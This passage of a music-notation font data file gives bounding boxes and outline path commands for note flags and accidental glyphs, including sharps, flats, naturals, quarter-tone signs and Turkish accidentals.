-269 b 285 -376 288 -363 287 -370 z' }, 'flag32ndDown': { 'x_min': -2.800802874905624, 'x_max': 268.09424409436605, 'y_min': -169.07698914551014, 'y_max': 829.4710740978672, 'ha': 998.5480632433773, 'o': 'm 323 1194 b 317 1164 311 1191 320 1174 b 312 1123 314 1151 312 1136 b 321 1015 312 1087 321 1051 b 318 982 321 1004 321 992 b 158 696 295 870 246 772 b 66 609 127 668 94 642 b 7 428 22 556 7 494 b 4 248 7 369 4 308 b -1 78 6 187 -10 137 b 0 14 0 59 0 32 b 0 -148 0 -42 0 -94 b 6 -223 0 -174 3 -199 b 30 -243 9 -238 22 -240 l 33 -243 b 45 -226 40 -245 40 -232 b 53 -204 48 -220 53 -212 b 151 -56 50 -131 98 -88 b 347 341 288 27 348 183 b 331 446 348 373 343 409 b 328 471 328 455 328 462 b 341 550 328 497 338 524 b 344 592 343 564 344 579 b 333 680 344 621 340 649 b 330 707 330 688 330 698 b 341 755 330 724 334 740 b 386 971 372 827 386 899 b 359 1155 387 1031 377 1093 b 351 1169 356 1159 354 1165 b 323 1194 344 1181 337 1198 z m 275 628 b 71 294 265 475 164 389 b 65 347 68 312 65 331 b 111 464 66 389 78 428 b 275 628 163 518 226 560 z m 285 347 b 288 325 287 341 288 334 b 91 76 288 240 181 115 b 121 151 92 107 104 130 b 285 347 173 216 249 261 z' }, 'flag64thUp': { 'x_min': -4, 'x_max': 282, 'y_min': -823.5430338167067, 'y_max': 347, 'ha': 1170.5430338167066, 'o': 'm 350 -1185 b 380 -1162 364 -1189 374 -1175 b 406 -1022 399 -1119 406 -1071 b 359 -798 406 -945 384 -871 b 348 -756 353 -785 348 -772 b 350 -744 348 -753 350 -749 b 363 -621 356 -704 363 -664 b 360 -580 363 -608 363 -593 b 359 -560 359 -573 359 -567 b 373 -490 359 -536 366 -513 b 393 -346 386 -444 393 -395 b 387 -269 393 -320 390 -294 b 348 -127 382 -219 348 -173 b 351 -104 348 -120 348 -111 b 353 -65 351 -91 353 -78 b 341 37 353 -26 348 6 b 226 215 323 108 278 164 b 86 336 181 258 127 288 b 62 395 72 353 62 370 b 42 481 62 423 55 454 b 27 500 37 488 36 500 b 24 498 26 500 26 500 b -1 480 14 497 1 492 b -6 444 -4 467 -6 455 l -6 435 b -1 341 -1 403 -1 372 l -1 266 b 6 156 -1 230 0 193 b 13 35 12 117 13 75 l 13 -35 b 14 -85 13 -52 14 -68 b 29 -276 19 -150 33 -213 b 20 -448 24 -334 20 -392 b 24 -534 20 -477 22 -505 b 114 -708 30 -605 59 -664 b 197 -780 143 -732 171 -755 b 344 -1153 301 -884 341 -1011 b 343 -1172 344 -1159 343 -1166 b 350 -1185 343 -1176 344 -1182 z m 300 -691 b 117 -508 243 -616 168 -575 b 82 -408 94 -480 82 -448 b 84 -379 82 -397 82 -387 b 259 -553 135 -451 206 -492 b 301 -667 287 -583 301 -619 b 300 -691 301 -674 301 -683 z m 298 -410 b 118 -235 238 -351 176 -295 b 76 -88 82 -197 78 -147 b 268 -252 137 -153 203 -202 b 330 -360 304 -279 330 -315 b 323 -402 330 -373 327 -387 b 311 -418 318 -413 315 -418 b 298 -410 307 -418 302 -415 z m 287 -88 b 62 193 186 -17 79 48 b 229 52 121 144 174 98 b 289 -33 256 29 274 -3 b 295 -56 294 -42 295 -49 b 287 -88 295 -66 292 -76 z' }, 'flag64thDown': { 'x_min': -5, 'x_max': 281, 'y_min': -375, 'y_max': 795.5430338167066, 'ha': 1170.5430338167066, 'o': 'm 348 1145 b 341 1132 343 1142 341 1136 b 343 1113 341 1126 343 1119 b 196 740 340 971 300 844 b 112 668 170 714 141 691 b 23 494 58 624 29 564 b 19 408 20 465 19 436 b 27 236 19 351 23 294 b 13 45 32 173 17 109 b 12 -6 13 27 12 12 l 12 -75 b 4 -196 12 -115 10 -157 b -3 -307 -1 -233 -3 -271 l -3 -382 b -7 -475 -3 -412 -3 -444 l -7 -484 b -3 -520 -7 -495 -6 -507 b 23 -539 0 -533 13 -537 b 26 -540 24 -540 24 -540 b 40 -521 35 -540 36 -528 b 60 -435 53 -494 60 -464 b 85 -376 60 -410 71 -393 b 225 -255 125 -328 180 -298 b 340 -78 276 -204 321 -148 b 351 24 347 -46 351 -14 b 350 63 351 37 350 50 b 347 86 347 71 347 79 b 386 229 347 132 380 179 b 392 305 389 253 392 279 b 372 449 392 354 384 403 b 357 520 364 472 357 495 b 359 540 357 527 357 533 b 361 580 361 553 361 567 b 348 704 361 624 354 664 b 347 716 348 708 347 713 b 357 757 347 732 351 744 b 405 982 383 831 405 904 b 379 1122 405 1031 397 1079 b 348 1145 373 1135 363 1149 z m 298 651 b 300 626 300 642 300 634 b 258 513 300 579 285 543 b 82 338 204 452 134 410 b 81 367 81 347 81 357 b 115 468 81 408 92 439 b 298 651 167 534 242 576 z m 297 370 b 310 377 301 374 305 377 b 321 361 314 377 317 373 b 328 320 325 347 328 333 b 266 212 328 275 302 239 b 75 48 202 161 135 112 b 117 194 76 107 81 157 b 297 370 174 255 236 311 z m 285 48 b 294 16 291 36 294 26 b 288 -7 294 9 292 1 b 228 -92 272 -37 255 -69 b 60 -233 173 -138 120 -184 b 285 48 78 -88 184 -23 z' }, 'flag128thUp': { 'x_min': 0, 'x_max': 252, 'y_min': -804, 'y_max': 530, 'ha': 1334, 'o': 'm 298 -1158 b 328 -1126 312 -1158 320 -1139 b 330 -1116 330 -1123 330 -1119 b 347 -996 343 -1076 347 -1037 b 328 -837 347 -943 338 -890 b 320 -778 324 -816 320 -798 b 330 -733 320 -763 323 -749 b 340 -665 338 -714 337 -688 b 341 -645 340 -660 341 -652 b 333 -534 341 -609 333 -572 b 343 -471 333 -513 334 -492 b 361 -366 356 -436 361 -402 b 331 -202 361 -311 348 -256 b 328 -187 330 -197 328 -193 b 331 -179 328 -184 328 -181 b 363 -55 353 -137 363 -96 b 337 79 363 -12 351 33 b 327 114 333 92 327 104 b 344 144 327 124 331 132 b 359 174 353 150 357 163 b 361 228 360 193 361 210 b 243 517 361 337 325 435 b 147 596 213 546 179 569 b 75 708 111 626 75 655 b 62 744 75 723 68 733 b 50 763 58 752 58 763 b 46 762 49 763 48 762 b 17 742 36 757 22 757 b 0 697 14 726 0 711 b 1 595 0 662 3 631 b 0 469 0 552 0 511 b 1 429 0 456 0 442 b 22 289 6 382 22 337 b 24 128 22 238 24 184 b 22 66 24 108 23 86 b 19 -19 20 37 19 10 b 20 -132 19 -56 20 -95 b 13 -276 20 -180 19 -229 b 9 -359 10 -304 9 -330 b 12 -487 9 -402 12 -445 b 56 -582 12 -526 29 -554 b 197 -742 107 -632 160 -681 b 288 -1100 265 -851 276 -976 b 288 -1122 288 -1107 287 -1115 b 287 -1145 289 -1129 287 -1138 b 298 -1158 287 -1153 288 -1158 z m 249 -609 b 69 -357 197 -520 88 -471 b 249 -609 131 -441 229 -498 z m 279 -396 b 132 -223 233 -330 180 -279 b 81 -112 104 -192 81 -156 b 82 -91 81 -105 81 -98 b 279 -396 167 -125 269 -281 z m 271 -73 b 127 72 233 -14 179 26 b 81 167 96 98 81 127 b 84 194 81 176 82 184 b 271 -73 148 102 242 39 z m 304 150 b 75 475 229 256 112 334 b 304 150 233 357 305 287 z' }, 'flag128thDown': { 'x_min': -0.8888888888888888, 'x_max': 252, 'y_min': -580, 'y_max': 754, 'ha': 1334, 'o': 'm 298 1086 b 287 1073 288 1086 287 1081 b 288 1050 287 1066 289 1057 b 288 1028 287 1043 288 1035 b 197 670 276 904 265 779 b 56 510 160 609 107 560 b 12 415 29 482 12 454 b 9 287 12 373 9 330 b 13 204 9 258 10 232 b 20 60 19 157 20 108 b 19 -53 20 23 19 -16 b 22 -138 19 -82 20 -109 b 24 -200 23 -158 24 -180 b 22 -361 24 -256 22 -310 b 1 -501 22 -409 6 -454 b 0 -541 0 -514 0 -528 b 0 -667 0 -583 -3 -624 b 0 -809 0 -675 -3 -791 b 46 -834 4 -825 36 -829 b 50 -835 48 -834 49 -835 b 62 -816 58 -835 58 -824 b 75 -780 68 -805 75 -795 b 147 -668 75 -727 111 -698 b 243 -589 179 -641 213 -618 b 361 -300 325 -507 361 -409 b 359 -246 361 -282 360 -265 b 344 -216 357 -235 353 -222 b 327 -186 331 -204 327 -196 b 337 -151 327 -176 333 -164 b 363 -17 351 -105 363 -60 b 331 107 363 24 353 65 b 328 115 328 109 328 112 b 331 130 328 121 330 125 b 361 294 348 184 361 239 b 343 399 361 330 356 364 b 333 462 334 420 333 441 b 341 573 333 500 341 537 b 340 593 341 580 340 588 b 330 661 337 616 338 642 b 320 706 323 677 320 691 b 328 765 320 726 324 744 b 347 924 338 818 347 871 b 330 1044 347 965 343 1004 b 328 1054 330 1047 330 1051 b 298 1086 320 1067 312 1086 z m 249 537 b 69 285 229 426 131 369 b 249 537 88 399 197 448 z m 279 324 b 82 19 269 209 167 53 b 81 40 81 26 81 33 b 132 151 81 84 104 120 b 279 324 180 207 233 258 z m 271 1 b 84 -266 242 -111 148 -174 b 81 -239 82 -256 81 -248 b 127 -144 81 -199 96 -170 b 271 1 179 -98 233 -58 z m 304 -222 b 75 -547 305 -359 233 -429 b 304 -222 112 -406 229 -328 z' }, 'accidentalFlat': { 'x_min': 1, 'x_max': 209, 'y_min': -208, 'y_max': 472, 'ha': 680, 'o': 'm 29 -300 b 46 -289 33 -300 39 -297 b 107 -243 65 -274 86 -258 b 301 127 233 -153 301 -30 b 298 186 301 147 301 166 b 190 297 291 256 251 297 b 147 289 177 297 163 294 b 86 265 127 284 107 274 l 85 264 l 85 301 b 91 465 85 356 88 410 b 94 559 91 497 94 527 b 84 651 94 589 91 621 b 66 680 81 661 81 680 l 65 680 b 37 645 49 678 37 665 b 33 523 36 605 32 563 l 33 478 b 26 223 33 393 29 308 b 1 -141 22 101 1 -19 b 17 -287 1 -189 4 -239 b 29 -300 20 -295 23 -300 z m 68 -105 b 76 12 71 -68 72 -29 b 81 107 79 43 81 75 l 86 109 b 171 135 114 121 141 135 b 204 128 181 135 193 132 b 238 92 228 120 239 108 b 230 63 238 84 236 75 b 68 -105 193 -10 132 -59 z' }, 'accidentalNatural': { 'x_min': 0, 'x_max': 213.5, 'y_min': -456, 'y_max': 462, 'ha': 918, 'o': 'm 255 -657 b 281 -624 271 -657 275 -636 b 285 -599 282 -615 285 -608 b 292 -300 288 -500 289 -400 b 289 -161 292 -253 289 -207 b 300 128 292 -65 297 32 b 304 168 300 128 302 150 l 304 173 l 305 190 l 305 199 l 307 225 b 304 259 307 229 310 246 b 272 298 297 274 302 305 b 63 266 204 279 134 272 b 72 514 68 348 72 432 b 71 595 72 541 72 567 b 56 665 71 619 66 642 b 17 579 9 651 17 608 b 3 144 19 433 7 289 b 0 -7 1 94 0 43 b 3 -134 0 -50 1 -92 b 7 -219 3 -163 7 -192 b 35 -251 7 -243 17 -251 b 49 -249 39 -251 43 -251 l 223 -223 l 230 -222 l 230 -359 b 223 -516 230 -410 223 -464 b 236 -619 223 -550 226 -585 b 255 -657 240 -634 236 -657 z m 58 -81 l 58 -63 b 55 81 56 -14 53 33 l 56 99 b 85 99 65 99 75 98 b 232 108 134 104 183 107 l 240 109 l 236 66 b 232 -48 235 29 232 -10 b 58 -81 174 -63 115 -73 z' }, 'accidentalSharp': { 'x_min': -22, 'x_max': 390, 'y_min': -384, 'y_max': 383, 'ha': 767, 'o': 'm 202 -553 b 219 -526 213 -552 216 -536 b 226 -471 225 -507 226 -488 b 225 -425 226 -455 225 -441 b 226 -392 225 -415 225 -402 b 233 -305 229 -363 232 -334 l 297 -292 b 331 -469 300 -353 311 -412 b 347 -485 333 -477 338 -485 b 363 -469 356 -487 359 -477 b 374 -418 373 -454 374 -435 b 376 -382 376 -405 376 -393 b 372 -276 376 -347 373 -311 l 455 -259 b 550 -156 534 -243 544 -232 b 550 -109 550 -137 552 -124 b 526 -78 549 -91 541 -78 b 523 -78 524 -78 524 -78 b 507 -79 517 -78 513 -78 b 403 -101 474 -88 438 -95 l 379 -105 b 382 -42 380 -85 380 -63 b 384 96 383 4 384 50 b 503 131 425 107 464 118 b 549 173 524 138 543 150 b 562 249 554 199 562 223 b 554 294 562 264 560 279 b 536 315 549 308 544 315 b 533 315 534 315 534 315 b 517 312 528 315 523 315 b 382 266 472 294 428 279 l 377 344 b 359 531 374 406 372 469 b 348 552 356 539 357 552 b 347 552 348 552 347 552 l 343 552 b 315 528 331 549 317 544 l 315 501 b 320 249 315 416 318 333 l 243 232 b 239 361 243 275 242 318 b 226 425 238 383 238 403 b 199 359 194 409 199 382 b 193 223 196 312 194 268 b 72 202 153 215 112 209 b 4 118 13 192 4 183 b 10 66 0 102 12 84 b 33 29 7 39 14 30 b 48 32 37 29 42 30 b 187 55 95 39 141 46 l 183 -75 b 176 -145 181 -99 179 -122 b 16 -179 122 -156 69 -166 b -32 -232 -14 -186 -32 -197 b -17 -331 -32 -266 -19 -298 b -1 -356 -17 -347 -13 -354 b 12 -353 1 -356 6 -354 b 167 -320 63 -341 115 -331 b 166 -377 166 -338 166 -357 b 189 -526 166 -428 171 -477 b 202 -553 192 -536 189 -553 z m 240 -132 b 243 -37 242 -101 242 -69 b 245 65 245 -3 245 30 b 315 79 269 69 292 73 b 301 -120 308 13 305 -53 z' }, 'accidentalDoubleSharp': { 'x_min': 0, 'x_max': 287, 'y_min': -159, 'y_max': 159, 'ha': 318, 'o': 'm 84 -229 b 107 -216 91 -229 98 -225 b 200 -125 138 -186 167 -154 b 232 -95 212 -115 222 -105 b 347 -189 271 -125 310 -157 b 370 -200 356 -196 363 -200 b 396 -179 380 -200 389 -192 b 412 -102 410 -154 406 -125 b 377 -27 410 -69 400 -46 l 325 14 b 402 91 350 42 374 68 b 413 127 410 96 413 107 b 382 200 409 148 397 176 b 350 229 370 220 360 229 b 314 210 340 229 328 223 b 274 174 300 199 285 187 b 212 104 252 151 232 128 b 92 187 173 132 132 161 b 78 193 86 192 82 193 b 68 190 75 193 72 193 b 48 179 62 186 53 187 b 40 137 43 168 40 154 b 81 16 40 92 56 32 b 107 -3 89 10 98 4 b 14 -94 76 -32 45 -62 b 0 -124 6 -102 0 -114 b 12 -154 0 -134 3 -144 b 62 -215 26 -176 48 -193 b 84 -229 69 -225 76 -229 z' }, 'accidentalDoubleFlat': { 'x_min': 0, 'x_max': 359, 'y_min': -220, 'y_max': 446, 'ha': 666, 'o': 'm 43 -317 b 72 -301 55 -317 63 -310 b 160 -186 108 -268 134 -226 b 236 -60 186 -145 212 -102 b 233 -131 235 -85 233 -108 b 239 -220 233 -161 235 -190 b 259 -246 240 -233 239 -240 b 301 -228 284 -252 291 -238 b 465 -7 369 -163 416 -85 b 517 173 500 48 517 108 b 451 307 517 229 505 284 b 409 315 436 312 422 315 b 331 287 382 315 356 305 b 311 274 324 282 320 274 l 310 274 l 310 566 b 305 621 310 585 312 603 b 294 642 301 628 305 642 l 292 642 b 264 622 282 641 266 636 b 253 575 259 606 256 590 b 246 418 248 523 246 471 b 248 243 246 360 248 302 l 248 187 b 164 238 220 225 193 238 b 85 213 140 238 112 226 b 84 229 85 220 84 225 b 86 315 85 258 86 287 b 81 528 86 386 82 458 b 71 582 81 547 78 566 b 56 603 66 590 68 603 l 53 603 b 23 580 40 600 26 598 b 19 537 20 566 19 552 b 20 514 19 530 19 521 b 26 390 24 472 26 432 b 14 66 26 282 16 174 b 0 -168 13 -12 0 -91 b 12 -279 0 -206 3 -242 b 30 -314 16 -294 14 -308 b 43 -317 35 -317 39 -317 z m 75 -147 b 73 30 75 -86 75 -29 b 118 82 73 62 92 76 b 132 84 124 84 128 84 b 190 52 156 84 174 69 b 193 40 192 49 193 45 b 192 33 193 37 193 35 b 75 -147 157 -30 125 -95 z m 301 -72 b 302 7 302 -45 302 -19 l 302 86 b 351 158 304 121 321 145 b 383 166 361 163 373 166 b 435 143 402 166 419 157 b 445 127 441 138 445 132 b 441 114 445 122 444 118 b 301 -72 397 49 354 -14 z' }, 'accidentalParensLeft': { 'x_min': 0, 'x_max': 130.18934911242604, 'y_min': -270, 'y_max': 267.6082500723851, 'ha': 537.6082500723851, 'o': 'm 107 -389 b 127 -374 114 -389 120 -384 b 141 -347 132 -367 137 -357 b 151 -294 148 -330 151 -311 b 122 -207 151 -265 141 -236 b 63 -65 94 -164 72 -117 b 59 -10 60 -46 59 -27 b 145 223 59 78 94 153 b 187 354 176 262 189 305 b 177 384 187 364 190 380 b 143 373 166 387 153 383 b 124 354 137 367 130 361 b 0 -35 33 240 0 108 l 0 -92 b 85 -372 4 -193 27 -287 b 107 -389 92 -383 99 -389 z' }, 'accidentalParensRight': { 'x_min': -0.4444444444444445, 'x_max': 139, 'y_min': -275, 'y_max': 277, 'ha': 552, 'o': 'm 58 -396 b 96 -354 75 -396 85 -370 b 200 13 168 -238 200 -111 b 153 268 200 109 184 190 b 49 392 131 320 101 364 b 26 399 40 397 33 399 b 0 366 10 399 0 387 b 0 318 -1 350 0 334 l 0 291 b 27 238 -3 266 7 253 b 143 9 105 180 143 98 b 141 -20 143 -1 143 -10 b 63 -225 135 -92 108 -164 b 36 -307 45 -251 36 -278 b 40 -344 36 -320 37 -331 b 42 -356 42 -347 42 -351 b 58 -396 42 -374 37 -396 z' }, 'accidentalQuarterToneFlatStein': { 'x_min': 0, 'x_max': 208, 'y_min': -240, 'y_max': 440, 'ha': 680, 'o': 'm 272 -346 b 284 -333 278 -346 281 -341 b 300 -187 297 -285 300 -235 b 275 177 300 -65 279 55 b 268 432 272 262 268 347 l 268 477 b 264 599 269 517 265 559 b 236 634 264 619 252 632 l 235 634 b 217 605 220 634 220 615 b 207 513 210 575 207 543 b 210 419 207 481 210 451 b 216 255 213 364 216 310 l 216 217 l 215 219 b 154 243 194 228 174 238 b 111 251 138 248 124 251 b 3 140 50 251 10 210 b 0 81 0 120 0 101 b 194 -289 0 -76 68 -199 b 255 -336 215 -304 236 -320 b 272 -346 262 -343 268 -346 z m 233 -151 b 71 17 168 -105 108 -56 b 63 46 65 29 63 37 b 96 82 62 62 73 73 b 130 89 108 86 120 89 b 215 63 160 89 187 75 l 220 60 b 225 -35 220 29 222 -3 b 233 -151 229 -75 230 -114 z' }, 'accidentalThreeQuarterTonesFlatZimmermann': { 'x_min': 0, 'x_max': 422, 'y_min': -240, 'y_max': 440, 'ha': 680, 'o': 'm 336 -346 b 353 -336 340 -346 346 -343 b 413 -289 372 -320 393 -304 b 608 81 540 -199 608 -76 b 605 140 608 101 608 120 b 497 251 598 210 557 251 b 454 243 484 251 469 248 b 393 219 433 238 413 228 l 392 217 l 392 255 b 397 419 392 310 395 364 b 400 513 397 451 400 481 b 390 605 400 543 397 575 b 373 634 387 615 387 634 l 372 634 b 344 599 356 632 344 619 b 340 477 343 559 338 517 l 340 432 b 333 177 340 347 336 262 b 308 -187 328 55 308 -65 b 324 -333 308 -235 311 -285 b 336 -346 327 -341 330 -346 z m 233 -151 b 71 17 168 -105 108 -56 b 63 46 65 29 63 37 b 96 82 62 62 73 73 b 130 89 108 86 120 89 b 215 63 160 89 187 75 l 220 60 b 225 -35 220 29 222 -3 b 233 -151 229 -75 230 -114 z m 272 -346 b 284 -333 278 -346 281 -341 b 300 -187 297 -285 300 -235 b 275 177 300 -65 279 55 b 268 432 272 262 268 347 l 268 477 b 264 599 269 517 265 559 b 236 634 264 619 252 632 l 235 634 b 217 605 220 634 220 615 b 207 513 210 575 207 543 b 210 419 207 481 210 451 b 216 255 213 364 216 310 l 216 217 l 215 219 b 154 243 194 228 174 238 b 111 251 138 248 124 251 b 3 140 50 251 10 210 b 0 81 0 120 0 101 b 194 -289 0 -76 68 -199 b 255 -336 215 -304 236 -320 b 272 -346 262 -343 268 -346 z m 374 -151 b 383 -35 377 -114 379 -75 b 387 60 386 -3 387 29 l 393 63 b 478 89 420 75 448 89 b 511 82 488 89 500 86 b 544 46 534 73 546 62 b 537 17 544 37 543 29 b 374 -151 500 -56 439 -105 z' }, 'accidentalQuarterToneSharpStein': { 'x_min': 0, 'x_max': 300, 'y_min': -338, 'y_max': 351, 'ha': 689, 'o': 'm 194 -487 b 225 -432 215 -469 223 -452 b 238 -232 229 -366 236 -298 b 377 -199 285 -220 331 -209 b 418 -164 397 -193 410 -181 b 432 -88 428 -138 432 -114 b 412 -42 432 -55 428 -42 b 389 -46 406 -42 399 -43 l 235 -85 b 233 -20 235 -63 233 -42 b 233 105 232 22 233 63 b 312 121 259 111 285 117 b 406 226 390 134 400 145 b 373 284 409 268 402 284 b 344 281 364 284 356 282 b 232 258 307 276 269 266 b 230 308 232 275 232 291 b 210 505 229 374 232 441 b 183 471 189 501 184 490 b 180 406 181 449 180 428 b 184 246 180 353 184 300 b 48 222 140 236 94 228 b 0 168 6 216 0 209 b 7 86 1 141 4 114 b 27 66 9 73 13 66 b 35 66 29 66 32 66 b 184 94 85 66 135 84 b 187 -1 184 62 186 30 b 190 -96 189 -33 190 -65 l 112 -114 b 35 -213 27 -132 35 -132 b 33 -253 35 -226 35 -240 b 49 -276 33 -269 37 -276 b 62 -275 52 -276 56 -276 l 186 -245 l 186 -256 b 179 -387 180 -300 177 -343 b 194 -487 180 -419 179 -454 z' }, 'accidentalThreeQuarterTonesSharpStein': { 'x_min': -23, 'x_max': 388, 'y_min': -373, 'y_max': 445, 'ha': 818, 'o': 'm 114 -537 b 138 -475 137 -518 138 -495 b 147 -292 138 -413 144 -353 b 212 -278 168 -287 190 -282 b 243 -444 215 -333 225 -389 b 261 -467 248 -454 251 -465 b 281 -446 272 -469 276 -455 b 292 -347 292 -416 288 -384 b 288 -262 289 -320 288 -291 l 374 -245 b 376 -311 374 -266 374 -288 b 390 -456 379 -357 379 -405 b 416 -396 412 -436 415 -418 b 423 -287 420 -360 423 -323 b 422 -235 423 -269 423 -252 b 451 -229 432 -233 441 -232 b 547 -98 524 -215 547 -199 l 547 -89 b 521 -49 546 -59 540 -49 b 497 -52 516 -49 507 -49 b 418 -68 469 -56 444 -63 b 423 52 419 -29 422 12 b 426 140 425 81 425 109 b 495 160 449 145 472 153 b 552 219 526 170 546 189 b 559 279 557 240 553 262 b 530 341 559 324 552 341 b 490 331 520 341 507 338 b 432 311 471 324 452 318 b 449 552 436 392 442 471 b 452 588 451 563 452 575 b 446 622 452 599 451 611 b 436 641 444 629 448 641 b 418 628 428 641 420 636 b 409 602 413 621 410 611 b 386 297 396 501 390 399 b 297 274 356 288 327 281 b 291 403 295 317 294 360 b 274 550 288 452 284 501 b 259 569 271 564 265 569 b 240 559 253 569 248 563 b 230 537 232 554 230 546 l 230 488 b 233 369 230 448 232 409 b 236 261 236 333 238 297 b 156 245 210 255 183 251 b 154 396 154 295 154 346 b 150 416 154 403 153 410 b 140 438 145 423 150 438 l 138 438 b 118 413 128 436 118 428 b 112 354 118 393 114 374 b 109 238 109 315 109 276 b 49 226 89 233 69 230 b 3 163 16 222 3 202 b 7 91 3 138 9 114 b 29 62 7 69 13 62 b 39 63 32 62 35 63 b 104 73 60 66 82 71 b 101 -10 104 46 102 17 l 92 -132 l 10 -150 b -33 -204 -19 -157 -33 -170 b -19 -310 -32 -240 -19 -274 b -6 -324 -19 -321 -13 -324 b 6 -323 -1 -324 1 -324 b 82 -307 32 -317 58 -311 b 81 -376 82 -330 81 -353 b 114 -537 81 -431 94 -484 z m 154 -120 b 157 20 154 -73 156 -26 b 158 82 158 40 158 62 b 230 95 183 86 206 89 b 225 0 229 63 226 32 b 217 -107 223 -35 220 -71 z m 294 -92 b 297 -37 295 -73 295 -56 b 300 49 300 -9 300 20 b 300 108 300 69 300 88 b 379 127 325 114 353 120 b 374 -76 376 59 374 -9 b 294 -92 347 -82 320 -86 z' }, 'accidentalBuyukMucennebFlat': { 'x_min': 1.8692317181955784, 'x_max': 287, 'y_min': -248, 'y_max': 432.4720949426819, 'ha': 680.4720949426819, 'o': 'm 410 128 b 302 239 403 199 363 239 b 259 232 289 239 275 236 b 199 207 239 226 219 216 l 197 206 l 197 243 b 197 251 197 246 197 248 b 347 317 248 272 298 295 b 376 347 360 324 372 334 b 389 435 387 376 393 405 b 348 454 384 462 377 465 b 202 387 300 432 251 409 b 203 408 203 395 203 402 b 203 431 203 416 203 423 b 347 490 252 451 300 469 b 376 517 360 495 372 505 b 389 599 387 546 393 572 b 348 616 384 625 377 628 b 203 556 300 596 251 576 b 196 593 202 569 199 582 b 179 622 193 603 193 622 l 177 622 b 150 588 161 621 150 608 b 147 533 150 570 148 552 b 29 488 108 517 69 503 b 3 455 12 482 3 472 b 12 353 1 422 9 389 b 145 408 56 372 101 389 b 145 363 145 392 145 377 b 29 315 107 347 68 331 b 3 281 12 310 3 298 b 12 170 1 245 9 209 b 141 226 55 189 98 207 b 138 166 140 206 138 186 b 114 -199 134 43 115 -76 b 130 -344 114 -246 117 -297 b 141 -357 132 -353 135 -357 b 158 -347 145 -357 151 -354 b 219 -301 177 -331 199 -315 b 413 69 346 -210 413 -88 b 410 128 413 89 413 108 z m 350 35 b 343 6 350 26 348 17 b 180 -163 308 -69 245 -117 b 189 -46 183 -125 184 -86 b 193 49 192 -14 193 17 l 199 52 b 284 78 226 63 253 78 b 317 71 294 78 305 75 b 350 35 340 62 351 50 z' }, 'accidentalBakiyeFlat': { 'x_min': 1.8692317181955784, 'x_max': 287, 'y_min': -236, 'y_max': 444, 'ha': 680, 'o': 'm 141 -340 b 158 -330 145 -340 151 -337 b 219 -284 177 -314 199 -298 b 413 86 346 -193 413 -71 b 410 145 413 107 413 125 b 302 256 403 216 363 256 b 259 249 289 256 275 253 b 199 225 239 243 219 233 l 197 223 l 197 261 b 199 334 197 285 199 310 b 347 406 249 357 298 382 b 376 439 360 413 372 425 b 390 516 384 465 390 490 b 389 537 390 523 390 530 b 372 564 384 556 382 564 b 348 557 367 564 359 562 b 204 487 300 537 253 510 b 206 518 206 497 206 507 b 196 611 206 549 203 580 b 179 639 193 621 193 639 l 177 639 b 150 605 161 638 150 625 b 145 482 148 564 144 523 l 145 458 b 29 405 107 439 68 420 b 3 366 12 397 3 386 b 12 243 1 325 9 287 b 143 307 56 265 99 285 l 138 183 b 114 -181 134 60 114 -59 b 130 -327 114 -229 117 -279 b 141 -340 132 -336 135 -340 z m 180 -145 b 189 -29 183 -108 184 -69 b 193 66 192 3 193 35 l 199 69 b 284 95 226 81 253 95 b 317 88 294 95 305 92 b 350 52 340 79 351 68 b 343 23 350 43 348 35 b 180 -145 305 -50 245 -99 z' }, 'accidentalKomaSharp': { 'x_min': 0, 'x_max': 300, 'y_min': -338, 'y_max': 351, 'ha': 689, 'o': 'm 194 -487 b 225 -432 215 -469 223 -452 b 238 -232 229 -366 236 -298 b 377 -199 285 -220 331 -209 b 418 -164 397 -193 410 -181 b 432 -88 428 -138 432 -114 b 412 -42 432 -55 428 -42 b 389 -46 406 -42 399 -43 l 235 -85 b 233 -20 235 -63 233 -42 b 233 105 232 22 233 63 b 312 121 259 111 285 117 b 406 226 390 134 400 145 b 373 284 409 268 402 284 b 344 281 364 284 356 282 b 232 258 307 276 269 266 b 230 308 232 275 232 291 b 210 505 229 374 232 441 b 183 471 189 501 184 490 b 180 406 181 449 180 428 b 184 246 180 353 184 300 b 48 222 140 236 94 228 b 0 168 6 216 0 209 b 7 86 1 141 4 114 b 27 66 9 73 13 66 b 35 66 29 66 32 66 b 184 94 85 66 135 84 b 187 -1 184 62 186 30 b 190 -96 189 -33 190 -65 l 112 -114 b 35 -213 27 -132 35 -132 b 33 -253 35 -226 35 -240 b 49 -276 33 -269 37 -276 b 62 -275 52 -276 56 -276 l 186 -245 l 186 -256 b 179 -387 180 -300 177 -343 b 194 -487 180 -419 179 -454 z' }, 'accidentalKucukMucennebSharp': { 'x_min': -0.15206251809627475, 'x_max': 359, 'y_min': -420, 'y_max': 343, 'ha': 763, 'o': 'm 236 -605 b 262 -543 256 -583 261 -564 b 269 -423 268 -503 269 -464 b 266 -340 269 -396 268 -367 l 361 -318 b 405 -276 384 -312 399 -298 b 413 -189 412 -248 416 -219 b 395 -164 412 -171 409 -164 b 382 -166 392 -164 387 -164 b 264 -193 343 -176 304 -184 b 269 -102 265 -163 268 -132 b 454 -62 331 -89 392 -78 b 501 -23 477 -58 494 -45 b 517 62 511 6 517 33 b 487 112 517 95 513 112 b 471 111 482 112 477 112 b 274 66 406 95 340 81 b 276 138 275 91 276 114 b 350 154 301 144 325 148 b 402 203 377 160 396 176 b 412 284 408 230 412 258 b 392 311 412 302 406 311 b 372 308 386 311 379 310 b 287 291 343 301 314 297 l 295 405 b 298 441 297 416 298 428 b 292 475 298 452 297 464 b 282 494 289 482 294 494 b 264 481 274 494 266 490 b 255 455 259 474 256 464 b 239 282 248 397 243 340 b 148 268 209 278 179 274 b 62 164 62 252 62 253 l 62 132 b 79 108 60 117 65 108 l 86 108 l 230 130 b 229 92 230 118 229 105 b 228 56 228 79 228 68 b 66 20 173 43 120 32 b 0 -59 6 7 3 1 l 0 -138 b 14 -160 -1 -156 4 -160 b 27 -158 19 -160 23 -160 b 222 -112 92 -141 157 -127 b 220 -203 220 -143 220 -173 b 147 -217 196 -207 171 -213 b 89 -288 92 -228 89 -229 b 95 -347 85 -305 96 -325 b 112 -374 92 -366 98 -374 b 125 -373 117 -374 121 -374 l 220 -351 b 222 -458 220 -386 220 -422 b 236 -605 223 -504 225 -552 z' }, 'accidentalKoron': { 'x_min': 0, 'x_max': 303, 'y_min': -462.4598053473055, 'y_max': 180, 'ha': 642.4598053473055, 'o': 'm 59 -665 b 72 -649 69 -662 72 -657 b 69 -626 72 -642 69 -634 b 69 -622 69 -625 69 -624 b 69 -600 69 -615 69 -608 b 55 -156 60 -456 68 -311 b 86 -170 66 -166 76 -170 b 112 -163 95 -170 104 -166 b 390 -35 204 -120 298 -78 b 436 -1 409 -27 